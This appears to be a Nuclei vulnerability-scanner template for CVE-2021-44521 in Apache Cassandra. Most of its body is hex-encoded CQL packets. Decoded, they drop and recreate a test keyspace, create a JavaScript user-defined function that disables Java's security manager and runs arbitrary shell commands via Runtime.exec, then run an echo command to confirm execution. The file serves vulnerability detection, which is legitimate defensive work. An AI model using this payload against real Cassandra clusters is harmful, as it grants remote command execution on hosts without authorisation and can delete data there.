61 lines
4.7 KiB
YAML
61 lines
4.7 KiB
YAML
id: CVE-2021-44521
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info:
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name: Apache Cassandra Load UDF RCE
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author: Y4er
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severity: critical
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description: 'When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.'
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reference:
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- https://y4er.com/post/cve-2021-44521-apache-cassandra-udf-rce/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44521
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- https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
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- https://lists.apache.org/thread/y4nb9s4co34j8hdfmrshyl09lokm7356
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.1
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cve-id: CVE-2021-44521
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cwe-id: CWE-94
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tags: cve,cve2021,network,rce,apache,cassandra
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network:
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- inputs:
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- data: "050000000500000000"
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read: 1024
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type: hex
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- data: "0500000101000000530003000b4452495645525f4e414d450016446174615374617820507974686f6e20447269766572000e4452495645525f56455253494f4e0006332e32352e30000b43514c5f56455253494f4e0005332e342e35"
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read: 1024
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type: hex
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- data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
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read: 1024
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type: hex
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- data: "7f0002a6a69f0500000407000000760000005e435245415445204b4559535041434520746573742057495448207265706c69636174696f6e203d207b27636c617373273a202753696d706c655374726174656779272c20277265706c69636174696f6e5f666163746f7227203a20317d3b0001000000340000006400080005d82cc8ca390f0ddce06b"
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read: 1024
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type: hex
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- data: "7d000296664f0500000807000000740000005c435245415445205441424c4520746573742e7263652028636d642076617263686172205052494d415259204b455929205749544820636f6d6d656e743d27496d706f7274616e742062696f6c6f676963616c207265636f726473273b0001000000340000006400080005d82cc8cb2fc161951510"
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read: 1024
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type: hex
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- data: "1c030291ff34050000100700000313000002fb637265617465206f72207265706c6163652046554e4354494f4e20746573742e657865632820636d64207465787420290d0a2020202052455455524e53204e554c4c204f4e204e554c4c20494e5055540d0a2020202052455455524e5320746578740d0a202020204c414e4755414745206a6176617363726970740d0a2020202041532024240d0a202020207661722053797374656d203d204a6176612e7479706528226a6176612e6c616e672e53797374656d22293b53797374656d2e73657453656375726974794d616e61676572286e756c6c293b0d0a202020207661722065203d746869732e656e67696e652e666163746f72792e736372697074456e67696e652e6576616c2827766172206f736e616d65203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226f732e6e616d6522293b6f736e616d65203d206f736e616d652e746f4c6f7765724361736528293b7661722073706c6974203d206f736e616d652e73746172747357697468282277696e2229203f20222f6322203a20222d63223b76617220636d6450617468203d206f736e616d652e73746172747357697468282277696e2229203f2022636d6422203a202262617368223b76617220636f6d6d616e64203d2022272b636d642b27223b7661722073203d205b636d64506174682c2073706c69742c20636f6d6d616e645d3b70203d206a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e657865632873293b766172206272203d206e6577206a6176612e696f2e4275666665726564526561646572286e6577206a6176612e696f2e496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b766172207265733d22223b7768696c652028286c203d2062722e726561644c696e6528292920213d206e756c6c29207b202020207265732b3d6c3b7265732b3d6a6176612e6c616e672e53797374656d2e6c696e65536570617261746f7228293b7d27293b0d0a20202020653b0d0a2020202024243b0001000000340000006400080005d82cc8cc7ece89646c85"
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read: 1024
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type: hex
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- data: "51000278033505000014070000004800000030696e7365727420696e746f20746573742e72636528636d64292076616c75657328276563686f2031323331323327293b0001000000340000006400080005d82cc8cd5b810ef0b16e"
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read: 1024
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type: hex
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- data: "450002bff1d805000015070000003c0000002473656c65637420746573742e6578656328636d64292066726f6d20746573742e7263653b0001000000340000006400080005d82cc8cd99d444271281"
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read: 1024
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type: hex
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- data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
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type: hex
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read: 1024
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host:
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- "{{Hostname}}"
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- "{{Host}}:9042"
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matchers:
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- type: word
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part: raw
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words:
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- "123123"
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# Enhanced by mp on 2022/03/07
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